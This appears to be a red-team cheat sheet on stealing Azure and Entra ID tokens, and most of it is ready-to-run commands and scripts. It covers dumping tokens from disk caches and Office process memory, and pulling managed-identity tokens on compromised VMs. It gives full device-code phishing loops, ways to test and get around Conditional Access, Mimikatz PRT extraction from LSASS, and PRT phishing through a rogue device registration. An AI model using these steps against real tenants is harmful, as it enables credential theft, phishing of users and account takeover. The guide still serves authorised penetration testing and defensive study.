Purpose: A well maintained guide for token collection methods. Updated as I vet & aggregate my personal notes.
Table of Contents
- Token Types & Concepts
- Well-Known Client IDs
- From Existing Sessions - CLI & PowerShell
- From File System
- From Process Memory
- From Compute - Managed Identities
- From Phishing & Device Code Flow
- From Valid Credentials
- Phishing for PRT
- Workload Identity Federation
- SAS Token Discovery
- Some Token Exfil Scripts
- Tools Reference
Token Types & Concepts
Microsoft Azure implements many tokens for many purposes, the table below is a quick reference for most (all?) of the relevant token types for pentest / red team engagements.
| Token Type | Lifetime | Description |
|---|---|---|
| Access Token | ~1 hr (up to 24 hr with CAE) | JWT presented to APIs as Authorization: Bearer. Scoped to one aud resource. CAE (Continuous Access Evaluation) extends token lifetime to ~24 hours but enables near-real-time revocation on policy violations. |
| Refresh Token | 90 days (rolling) | Opaque token used to obtain new access tokens without re-authenticating. |
| ID Token | ~1 hour | JWT containing identity claims about the user (name, UPN, OID). Not used for API auth. |
| PRT | 14 days (auto-renew) | Primary Refresh Token. Kerberos TGT analog for cloud. Stored in LSASS on Windows. Can be used to mint access tokens for any Microsoft service. |
| FOCI Token | 90 days | Refresh token tagged "foci": "1". Works with any app in the FOCI family, regardless of which app was originally used to acquire it. |
| MRRT | 90 days | Multi-Resource Refresh Token. Same client ID, different resource. Allows pivoting from one API (e.g. DRS) to another (e.g. Graph). |
| SAML Token | Short (minutes) | XML assertion signed by an IdP (ADFS). Used in federated auth flows. Forgeable with a stolen signing key (Golden SAML). |
| SAS Token | Configurable | Shared Access Signature. URL query parameter granting scoped access to Azure Storage. Not a JWT. |
| Device Code | ~15 minutes | Short-lived code presented to microsoft.com/devicelogin. Used to initiate device code phishing. |
| Workload Identity Token | ~24 hours | OIDC JWT projected into a Kubernetes pod. Exchanged for an Azure access token via client_assertion. |
| PAT (DevOps) | Configurable | Azure DevOps Personal Access Token. Authenticates to dev.azure.com. |
Key insight: An access token is scoped to exactly one aud (audience). A refresh token is not - it can be exchanged for access tokens across multiple resources within the same tenant. See Token Exchange for conversion techniques.
Apps, Resources, and Scopes in Microsoft Entra ID
Its important you understand the distinction between these things. Some terms are kinda interchangeable here.
Think about it this way
Apps request access to resources, resources (also technically apps) are granted specific permissions via scopes.
Apps
An App (first-party application) is a Microsoft product or service registered in Entra ID. Things like Microsoft Teams, OneDrive, Outlook Mobile, Visual Studio Code, etc…
Each app has a unique GUID (App ID) which represents something a user actually signs into or runs (a user facing product). When a user authenticates, they authenticate as that app which then acts on their behalf.
Resources
A Resource is another service or API that the app wants to talk to on behalf of the user. For example, when Microsoft Teams needs to read your calendar, it needs access to the Microsoft Graph resource. When it needs to store files, it might need access to Azure Storage.
Resources are essentially the endpoints for API calls. They are also registered applications in Entra ID, each with their own App ID. Common ones you’ll see repeatedly include:
- Microsoft Graph - the unified Microsoft 365 API
- Azure Resource Manager - manages Azure infrastructure
- Windows Azure Active Directory - the legacy AAD API
Scopes
A Scope is a specific, granular permission within a resource. Rather than granting blanket access to an entire resource, scopes let you say exactly what the app can do there.
For example, Microsoft Graph might grant scopes like:
User.Read- read the signed-in user’s profileMail.ReadWrite- read and write emailCalendars.Read- read calendar events
Pre-Consented Scopes
Pre-consented scopes are permissions that have been granted in advance by Microsoft, at the platform level, before any user ever signs in.
When an app has pre-consented scopes:
- No consent prompt is shown to the user
- No admin needs to approve anything
- The app can silently acquire tokens for those resources
Microsoft is acknowledging that specific apps will always require certain scopes, they don’t want to bother the user with endless consent prompts.
This makes apps with lots of pre-consented scopes very valuable for attackers. A token stolen from Microsoft Office theoretically carries access to 376 resources and 602 scopes by default.
Dirk-Jan Mollema and Fabian Bader recently built this amazing site for documenting all of this among other valuable information:
Well-Known Client IDs
Different client IDs trigger different Conditional Access policies and grant different scopes:
| Application | Client ID | Notes |
|---|---|---|
| Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 | Best default - broad directory access |
| Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 | Different CA policy triggers |
| Microsoft Office | d3590ed6-52b3-4102-aeff-aad2292ab01c | O365 + Graph access, FOCI member |
| Microsoft Teams | 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | Often bypasses strict CA policies |
| Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | Highly trusted by Entra ID |
| Auth Broker | 29d9ed98-a469-4536-ade2-f981bc1d605e | Required for PRT phishing via DRS |
| AAD Graph | 1b730954-1685-4b74-9bfd-dac224a7b894 | Legacy Graph API - retiring June 30, 2026; migrate to MS Graph |
From Existing Sessions - CLI & PowerShell
Goal: Request tokens from an already-authenticated Azure CLI or PowerShell session.
Azure CLI
# default resource manager token
az account get-access-token
# specify a resource url
az account get-access-token --resource "https://vault.azure.net"
az account get-access-token --resource "https://graph.microsoft.com"
# specific resource by type alias
az account get-access-token --resource-type ms-graph
az account get-access-token --resource-type aad-graph # AAD Graph retiring June 30, 2026 - use ms-graph instead
az account get-access-token --resource-type arm
For each call, you can inspect the returned token with roadtx describe to get an idea of its relative scope. For example:
az account get-access-token --resource "https://graph.microsoft.com" | jq -r .accessToken | roadtx describe
For graph, the scope (scp) of the token is a list of specific operations, where as vault and management may just list user_impersonation as the scope (which is ambiguous), its just a shorthand for “whatever this user can do”.
Azure PowerShell (Az Module)
Warning: In Az.Accounts 4.0.0 / Az 14.0.0+,
.TokenreturnsSecureStringinstead of plain text. Use theConvertFrom-SecureStringforms below, or:[System.Net.NetworkCredential]::new("", (Get-AzAccessToken -AsSecureString).Token).Password
# default arm token (plain text - works in Az < 14; generates deprecation warning in newer versions)
(Get-AzAccessToken).Token
# specific resource URL
(Get-AzAccessToken -ResourceUrl "https://vault.azure.net").Token
(Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com").Token
(Get-AzAccessToken -ResourceUrl "https://storage.azure.com").Token
# by type name - returns SecureString (required in Az.Accounts 4.0+ / Az 14+)
# powershell 7.0+ only
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName MSGraph -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName AadGraph -AsSecureString).Token -AsPlainText) # aad graph retiring June 30, 2026
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName KeyVault -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Storage -AsSecureString).Token -AsPlainText)
Microsoft Graph PowerShell (MSGraph tokens only)
$Parameters = @{
Method = "GET"
Uri = "/v1.0/me"
OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter # this is the token
Getting tokens from the official Azure CLI or powershell clients is good because they’re highly permissive.
From File System
Goal: Steal cached tokens from disk artifacts left by Azure tools & Microsoft product (office etc…).
Linux / Mac (Plaintext)
# azure CLI token cache -access AND refresh tokens in plaintext
~/.azure/msal_token_cache.json
~/.Azure/msal_token_cache.json
Look for entries with "family_id": "1" - these are FOCI refresh tokens usable across multiple apps (see Token Exchange - FOCI Token Abuse).
Windows
C:\Users\<user>\.Azure\accessTokens.json # older cli format
C:\Users\<user>\.azure\msal_token_cache.bin # binary (DPAPI-encrypted RT, plaintext AT)
C:\Users\<user>\.Azure\TokensCache.dat # legacy azureRM
C:\Users\<user>\AppData\Local\.IdentityService\msal.cache
Note: On Windows, access tokens are readable. Refresh tokens are DPAPI-encrypted. On Linux/Mac both are plaintext.
Legacy AzureRM Artifacts (Plaintext)
Older versions of azure powershell (the AzureRM module) would store refresh tokens in plaintext, you can find them in these locations:
%AppData%\Roaming\Windows Azure Powershell\AzureProfile.json # Plaintext tokens
%USERPROFILE%\.azure\TokenCache.dat
%USERPROFILE%\.Azure\AzureRmContext.json
Search for them:
Get-ChildItem -Path $env:USERPROFILE -Include "AzureProfile.json","TokenCache.dat","AzureRmContext.json" -Recurse -ErrorAction SilentlyContinue
AADInternals - Export Tokens
OpSec: Don’t use a tool like this if you’re against endpoint security.
git clone https://github.com/Gerenios/AADInternals-Endpoints
cd AADInternals-Endpoints
# or from ps gallery:
Install-Module AADInternals
Install-Module AADInternals-Endpoints
Import-Module AADInternals-Endpoints
Import-Module AADInternals
Export-AADIntAzureCliTokens | fl # tokens from CLI
Export-AADIntTeamsTokens | fl # tokens from teams
Export-AADIntTokenBrokerTokens | fl # DPAPI protected, local admin required
Note: On Linux/Mac,
Export-AADIntAzureCliTokensreads refresh tokens from the plaintextmsal_token_cache.json. On Windows, the refresh token in the.bincache is DPAPI-encrypted and unreadable - only the access token is recoverable this way.
Downgrade Azure CLI to Read Refresh Tokens
Installing the old 2.3.0 CLI forces a legacy token format that stores refresh tokens in plaintext.
Warning: Microsoft may have removed older CLI builds from their blob storage. If the download fails, build from source (https://github.com/Azure/azure-cli/releases/tag/azure-cli-2.3.0).
# remove current CLI (no admin required for user install)
winget uninstall Microsoft.AzureCLI --all-versions
# install legacy version from microsoft blob
Invoke-WebRequest -Uri https://azurecliprod.blob.core.windows.net/msi/azure-cli-2.3.0.msi -OutFile .\AzureCLI.msi
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'
rm .\AzureCLI.msi
# re-authenticate - tokens now stored in plaintext at ~/.azure/accessTokens.json
az login
Note: To save/restore an Azure PowerShell context (including tokens) for use on an attacker machine, see Token Usage - Save-AzContext / Import-AzContext.
Some tools to make life worth living
https://github.com/anak0ndah/OAuthBandit (from user context)
- Leverages native DPAPI to extract Refresh Tokens from Credential Manager
- Pull from VSCode Azure extension
- MSAL Shared Cache
- Encrypted Azure CLI cache
- WAM Cache
- TokenBroker
.tbresfiles
https://github.com/jackullrich/AADBrokerDecrypt
- Tokens from the LocalState cache (application and refresh tokens)
- Does contain the PRT but its not in a usable state.
From Process Memory
Goal: Extract access tokens from the memory of Microsoft Office and other apps.
Local Microsoft apps (Excel, Word, Teams, Outlook, etc.) cache access tokens in process memory. A memory dump contains them in plaintext.
High-Value Processes
| Process | Tokens For |
|---|---|
EXCEL.EXE, WINWORD.EXE, POWERPNT.EXE | Graph, SharePoint, OneDrive |
ms-teams.exe (new Teams) / Teams.exe (classic) | Teams, Graph |
OUTLOOK.EXE | Exchange, Graph |
powershell.exe / pwsh.exe | Whatever resource the session authenticated to |
Step 1 - Dump process memory
# use procdomp (task manager dump file works as well)
procdump.exe -ma <PID> C:\Windows\Tasks\dump.dmp
procdump.exe -ma EXCEL.EXE C:\Windows\Tasks\dump.dmp
# powerShell (no external tools - uses MiniDumpWriteDump via comsvcs.dll) (Highly suspicious use of comvscs.dll and rundll32)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Tasks\dump.dmp full
Or: Task Manager -> right-click process -> Create dump file.
Task manager is probably the way to go here.
Step 2 - Extract tokens
# with linux search for jwt pattern
strings dump.dmp | grep 'eyJ0'
type /tmp/t | select-string eyJ0
Good idea to inspect the scope of the new tokens.
echo "eyJ0...." | roadtx describe
From Compute - Managed Identities
Goal: Request tokens from the Azure Instance Metadata Service on a compromised Azure Virtual Machine, Function App, or App Service.
Assuming you’ve compromised an Azure VM, you can steal it’s identity tokens from the metadata endpoint. This includes both system assigned (default) and user assigned identities, although you may need to discover client_ids for user assigned identities.
When you request a token, keep these in mind:
- If a VM has exactly 1 user assigned identity, it will default to that without the need to specify its
client_id. - If a VM has 1 system assigned identity, or a system & user assigned identity, it will default to the system one. (you request the user one by its
client_id) - If the VM has multiple user assigned identities, you must specify the
client_idof the identity you would like tokens for in the request. - If nothing is returned, the VM has no identity assigned.
VM - System-Assigned Identity
- Request identity tokens from within a VM you have compromised.
HEADER="Metadata:true" # required header, implemented after SSRF became a problem
URL="http://169.254.169.254/metadata" # default endpoint should work for all VMs
API_VERSION="2021-12-13" # most functional version for this
# management
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
# graph
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
# vault
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
# storage
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Note: When requesting tokens via IMDS, include the trailing
/on the resource parameter for management.azure.com and graph.microsoft.com. Omitting it may causeaccess_deniederrors. Modern SDKs handle this automatically, but raw API calls require it.
VM - With wget (no curl)
sometimes we don’t have curl ;(
wget -qO- --header="Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/"
Example above is just for resource manager tokens, see previous examples for others.
Request Token for a Specific User-Assigned Identity
# pass &client_id= to target a specific managed identity
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/&client_id=<MI-CLIENT-ID>"
Example above is just for resource manager tokens, see previous examples for others.
Enumerate Managed Identities Attached to a VM
# if you have an authenticated session in azure cli & perms to see em
az vm list
az vm identity show --resource-group <rg> --name <vm-name>
# same deal, but list all identities
az identity list
# from inside the VM using the default MI token, if the default identity has those perms.
export TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/" | jq -r .access_token)
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=2021-12-13" | jq -r '.compute.subscriptionId')
# list all user-assigned MIs in the subscription
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2023-01-31" | jq
Azure PowerShell:
# list all
Get-AzUserAssignedIdentity
# get specific VMs
$vm = Get-AzVM -ResourceGroupName "rg" -Name "vm"
$vm.Identity.UserAssignedIdentities.Values
If you don’t have full auth, but you have an azure resource manager token, you can directly call the APIs to attempt and list available VM metadata and identities.
# set these variables
export SUBSCRIPTION_ID=""
export RESOURCE_GROUP=""
export VM_NAME=""
export TOKEN=""
# list all vms you have perms to see
curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Compute/virtualMachines?api-version=2024-03-01" | jq
# equivalent of `az identity list` - list all identities
curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2023-01-31" | jq
# equivalent of `az vm identity show` - list identities attached to VM
curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=2024-03-01" | jq .identity
From App Service / Function App
Goal: Request tokens from the MSI endpoint on compromised App Services or Function Apps.
App Services use a different endpoint than IMDS, provided via environment variables automatically:
# env vars should be set already by default
# IDENTITY_ENDPOINT - the token endpoint URL
# IDENTITY_HEADER - required auth header value
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/"
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/"
Or use the hardcoded MSI bridge address: (doesn’t always work)
URL="http://169.254.129.5:8081/msi/token"
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$URL?api-version=2019-08-01&resource=https://vault.azure.net/"
Same deal with these as with VMs in terms of system and user assigned identities. requesting a user assigned identity requires the client_id.
# pass &client_id= to target a specific managed identity
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=<MI-CLIENT-ID>"
From Phishing & Device Code Flow
Goal: Trick a user into completing auth with controlled device code, yielding tokens for the attacker.
This technique has been very fruitful for several years, companies are only now starting to block device code auth.
Eventually I’ll workup the gusto to write an initial access cheatsheet which will include other methods to collect tokens for initial access (App consent phishing n such) but at the moment I’ve included this one in token collection as its been the most popular method. Trying not to confuse basic token collection with more in-depth initial access vectors.
Flow is simple:
- Attacker generates device code, convinces victim to use it, attacker receives users tokens.
Automated Methods
# azure cli
az login --use-device-code
# ROADTools
roadrecon auth --device-code
# azure powerShell
Connect-AzAccount -UseDeviceAuthentication
Direct API Method
Step 1 - Request a device code
# v1.0 endpoint (uses 'resource')
curl -s -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com' \
"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" | jq
# v2.0 endpoint (uses 'scope')
curl -s -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default' \
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" | jq
Send the user_code to the victim. Tell them to go to https://aka.ms/devicelogin.
Step 2 - Poll for the token (bash)
#!/bin/bash
device_code="<paste-from-step-1>"
client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource="https://graph.microsoft.com"
token_url="https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
interval=5
expires=900
elapsed=0
while true; do
sleep "$interval"
elapsed=$((elapsed + interval))
[ "$elapsed" -gt "$expires" ] && { echo "Timeout."; exit 1; }
response=$(curl -sS -X POST "$token_url" \
-d "client_id=$client_id" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "code=$device_code" \
-d "resource=$resource")
error=$(echo "$response" | jq -r '.error')
if [ "$error" = "authorization_pending" ]; then
echo "Pending..."
elif [ "$error" = "null" ] || [ -z "$error" ]; then
echo "SUCCESS"; echo "$response" | jq; break
else
echo "Error: $(echo "$response" | jq -r '.error_description')"; exit 1
fi
done
Step 2 - Generate code & poll for the token (PowerShell)
$body = @{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.microsoft.com"
}
$auth = Invoke-RestMethod -Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Body $body
Write-Host "Code: $($auth.user_code) | Go to: $($auth.verification_uri)"
$body2 = @{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $auth.device_code
"resource" = "https://graph.microsoft.com"
}
do {
Start-Sleep -Seconds $auth.interval
try {
$response = Invoke-RestMethod -Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Body $body2
} catch {
$err = $_.ErrorDetails.Message | ConvertFrom-Json
if ($err.error -ne "authorization_pending") { throw }
}
} until ($response)
$response.access_token
$response.refresh_token
GraphSpy - Multi-Target Device Code Phishing
GraphSpy can manage multiple simultaneous device code sessions and auto-execute actions when a user authenticates. See Token Usage - GraphSpy for full capabilities.
pipx install graphspy
graphspy
# -> Web UI on http://localhost:5000
- Phishing tab: Generate multiple device codes simultaneously with different client IDs
- Auto-actions on auth: Automatically register a Windows Hello key or request a device PRT when the victim authenticates
From Valid Credentials
Goal: Convert username/password to tokens (for accounts without MFA or with MFA gaps).
ROADTools
# if mfa not required
roadrecon auth -u "user@domain.com" -p 'Password123' --tenant <tenant-id>
roadrecon auth -u "user@domain.com" -p 'Password123'
# if mfa required
roadtx interactiveauth
# tokens stored in .roadtools_auth for reuse by roadrecon gather
Conditional Access Policy Bypasses
FindMeAccess
FindMeAccess tests every combination of resource and client ID to find which ones succeed without being blocked by MFA/CAPs:
# audit all resources + clients with one user agent
python3 findmeaccess.py audit -u user@domain.com -p 'password'
# audit with all user agents (finds device-based bypasses)
python3 findmeaccess.py audit -u user@domain.com -p 'password' --ua_all
# list available resources
python3 findmeaccess.py audit --list_resources
# test specific resource + client combo
python3 findmeaccess.py audit -u user@domain.com -p 'password' \
-c 'd3590ed6-52b3-4102-aeff-aad2292ab01c' -r 'https://graph.microsoft.com'
# request token once you find a working combo
python3 findmeaccess.py token -u user@domain.com -p 'password' \
-c '1950a258-227b-4e31-a9cf-717495945fc2' -r 'Microsoft Graph API'
# with a specific user agent (bypass device-based CA)
python3 findmeaccess.py token -u user@domain.com -p 'password' \
-c 'd3590ed6-52b3-4102-aeff-aad2292ab01c' -r 'Azure Graph API' \
--user_agent 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_6 like Mac OS X) AppleWebKit/605.1.15'
Several resources just don’t have policies applied
You can still pull tokens for these regardless of MFA / CAPs status
| Resource Id | Resource Name |
|---|---|
| 26a4ae64-5862-427f-a9b0-044e62572a4f | Microsoft Intune Checkin |
| 04436913-cf0d-4d2a-9cc6-2ffe7f1d3d1c | Windows Notification Service |
| 0a5f63c0-b750-4f38-a71c-4fc0d58b89e2 | Microsoft Mobile Application Management |
| 1f5530b3-261a-47a9-b357-ded261e17918 | Azure Multi-Factor Auth Connector |
| c2ada927-a9e2-4564-aae2-70775a2fa0af | OCaaS Client Interaction Service |
| ff9ebd75-fe62-434a-a6ce-b3f0a8592eaf | Authenticator App |
# pulling intune checkin token without MFA, using office client_id.
roadtx gettoken -c d3590ed6-52b3-4102-aeff-aad2292ab01c -r 26a4ae64-5862-427f-a9b0-044e62572a4f -u '' -p ''
These don’t really provide any interesting info beyond validating credentials.
sccauth -> avoid conditional access
A new technique was recently published by Fabian Bader to extract the sccauth cookie from a compromised host and exchange that cookie via the “on-behalf-of” flow. This allows an attacker access to resources beyond the Defender XDR Portal (like Graph) without the limitation of conditional access policies.
The “on-behalf-of” flow works because services sometimes need to access information from other resources (like Graph) and those services are trusted to request that information “on-behalf-of” the user. Users won’t need to re-consent or authorize again, so to Entra, some conditional access policy restrictions are already fulfilled (device compliance, network location, and user risk). I think Microsoft calls this “Middle-tier Access” and they have guidelines for protecting it.
Key points
- The
sccauthcookie can be extracted on compromised hosts with SSO. - The
sccauthcookie can be used to request new tokenson-behalf-ofthe user for other resources (like Graph) for ~ 8 hours. - If the user has a short session lifetime configured in Conditional Access, this does not prevent the ability to request access tokens.
- The cookie can’t be refreshed without performing a full login flow.
Available scopes (tokens can be requested for these)
- Microsoft Graph
- Azure AD Graph (legacy)
- Azure Resource Manager
- Microsoft Security Center API
- Microsoft Defender for Cloud Apps
- Microsoft Office
- Log Analytics
- Purview
- Threat Intelligence Portal
Microsoft’s response: Fabian noted in the article that Microsoft assessed this as Moderate so its not clear if / when this will be remediated. It will probably be a while.
Fabian provided a powershell script as a POC for the extraction, you can find it in the original post sourced below.
Once you have the sccauth cookie, you can use the updated TokenTacticsV2 to do the exchange.
Import-Module .\TokenTactics.psd1
$Response = Get-EntraIDTokenFromSCCAUTHCookie -SCCAuth $cookie -ResourceName MicrosoftGraph
Write-Host $Response.Token
In my testing I was able to get these scopes from Graph without any special modifications.
AgentCollection.Read.Global AgentInstance.Read.All Application.Read.All AppRoleAssignment.ReadWrite.All AuditLog.Read.All Channel.ReadBasic.All ChannelMessage.Send DeviceManagementConfiguration.Read.All DeviceManagementManagedDevices.Read.All DeviceManagementManagedDevices.ReadWrite.All Directory.Read.All eDiscovery.Read.All eDiscovery.ReadWrite.All email Group.Read.All IdentityRiskyAgent.Read.All IdentityRiskyUser.Read.All InformationProtectionPolicy.Read MailboxSettings.Read openid People.Read.All Policy.Read.All Policy.ReadWrite.ConditionalAccess profile Reports.Read.All SecurityEvents.ReadWrite.All ServiceHealth.Read.All ServiceMessage.Read.All Sites.Read.All User.Read User.Read.All
Curl equivalents: Step 1 - Get ya XSRF token (skip if you already have it):
curl -s -c cookies.txt \
-b "sccauth=YOUR_SCCAUTH_VALUE" \
"https://security.microsoft.com/"
Step 2 - get ya token
# extract XSRF from cookie jar for the header
XSRF=$(awk '$6 == "XSRF-TOKEN" {print $7}' cookies.txt)
curl -s \
-b cookies.txt \
-H "X-XSRF-TOKEN: $(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")" \
-H "Content-Type: application/json" \
"https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"
With TenantId (add two headers):
curl -s \
-b cookies.txt \
-H "X-XSRF-TOKEN: $(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")" \
-H "x-tid: YOUR_TENANT_ID" \
-H "tenant-id: YOUR_TENANT_ID" \
-H "Content-Type: application/json" \
"https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"
Single-command shortcut (combine both steps if you already have XSRF):
curl -s \
-b "sccauth=YOUR_SCCAUTH; XSRF-TOKEN=YOUR_XSRF_VALUE" \
-H "X-XSRF-TOKEN: YOUR_XSRF_VALUE" \
-H "Content-Type: application/json" \
"https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"
Source
PRT Extraction
Goal: Extract the Primary Refresh Token from a Windows device.
Concept: The PRT is the cloud equivalent of a Kerberos TGT. It is:
- Long-lived (~14 days, auto-renewing)
- Issued to Entra ID-joined / Hybrid-joined devices
- Stored in LSASS via the CloudAP plugin
- Protected by TPM (if available) or DPAPI
- Usable to get access tokens for any Microsoft service
- Carries MFA claims if the user authenticated with MFA
Enumeration
dsregcmd /status
Check AzureAdPrt: YES under Device State.
# Check if TPM is available (affects extractability)
Get-Tpm | Select TpmPresent, TpmReady, TpmEnabled
Dumping the PRT (Requires Local Admin)
# Mimikatz
privilege::debug
sekurlsa::cloudap # Dump PRT and encrypted session key
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect # Decrypt session key
# Generate usable PRT cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
Generate PRT Token with AADInternals
# from mimikatz output
$MimikatzPRT = "MS5BVUVCNFdiUV9UZn..."
# pad base64
while($MimikatzPRT.Length % 4) { $MimikatzPRT += "=" }
# decode
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# session key (from dpapi::cloudapkd output)
$MimikatzKey = "7ee0b1f2eccbae...d83b67a81a0dfa0808"
$SKey = [convert]::ToBase64String([byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# mint PRT token with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# get access token for MS Graph
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
User-Level PRT Tools (No Admin Required)
These extract PRTs without admin/SYSTEM - they use the BrowserCore.exe SSO broker that runs as the logged-in user.
# ROADtoken - extracts PRT + session key via the Chrome SSO extension broker
# https://github.com/dirkjanm/ROADtoken
# 1. Build ROADtoken.exe
# 2. Run as the target user (no elevation needed)
ROADtoken.exe
# Outputs PRT and derived key - feed directly into roadtx:
roadtx prt -prt <PRT> -dk <DerivedKey>
roadtx prtauth -r msgraph
Note: For converting a PRT into usable access tokens, see Token Exchange - PRT → Access Token.
Phishing for PRT
Goal: Upgrade a phished refresh token all the way to a Primary Refresh Token by registering a rogue device in Entra.
Original research: https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/
Full attack flow:
- Initiate device code phishing with the Auth Broker client ID and DRS resource
- Victim authenticates and completes MFA -> attacker receives DRS-scoped refresh token
- Register a rogue device using that refresh token -> device object created in Entra
- Exchange refresh token + device keys for a PRT
- PRT carries MFA claims from the victim’s session
- Optionally: register WHfB key for long-term passwordless persistence
ROADTools Workflow (Recommended)
# step 1: Get refresh token via device code (auth broker client, DRS resource)
roadtx gettokens --device-code -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r drs
# step 2: Register a new device
roadtx device -a join -n attacker-device
# pull RT from roadtools auth
cat .roadtools_auth | jq -r .refreshToken
# step 3: Get PRT using device identity + refresh token
roadtx prt --refresh-token <token> -c attacker-device -k attacker-device
# step 4: Use PRT to get tokens for any resource
roadtx prtauth -c msteams -r msgraph
# inject into browser
roadtx browserprtauth -url https://office.com
roadtx browserprtauth -url https://portal.azure.com
roadtx browserprtauth -url https://outlook.office.com/
roadtx browserprtauth -url https://teams.office.com/
roadtx browserprtauth -url https://myapplications.microsoft.com
# delete device when done
roadtx device -a delete -c attacker-device.pem -k attacker-device.key
Workload Identity Federation
Goal: Exchange a Kubernetes OIDC service account token for an Azure access token.
Concept: Azure Workload Identity allows Kubernetes service accounts to be federated with Entra ID app registrations. The K8s API server projects a short-lived OIDC JWT into the pod at a well-known path. This JWT can be exchanged for an Azure access token using client_credentials + client_assertion.
<- section coming soon ->
SAS Token Discovery
Goal: Find Shared Access Signature tokens on compromised compute.
Find SAS Tokens in Environment Variables
Containers and App Services frequently leak SAS tokens via environment variables:
# dump environment - look for SAS parameters (se=, sp=, sig=)
env | grep -iE 'token|sas|sig=|se=|sv='
# real example pattern
AZ_TOKEN=se=2035-01-01T00%3A00Z&sp=r&spr=https&sv=2022-11-02&ss=t&srt=co&sig=<...>
Reconstruct the full URL:
# if you have storage account and table name
STORAGE_ACCOUNT="myaccount"
TABLE_NAME="mytable"
SAS_PARAMS="se=2035-01-01T00%3A00Z&sp=r..."
curl "https://$STORAGE_ACCOUNT.table.core.windows.net/$TABLE_NAME?$SAS_PARAMS"
Find SAS Tokens in Function App Settings
- Post auth
# WEBSITE_RUN_FROM_PACKAGE often contains a SAS URL to the function zip
az functionapp config appsettings list --name <func> --resource-group <rg> | jq
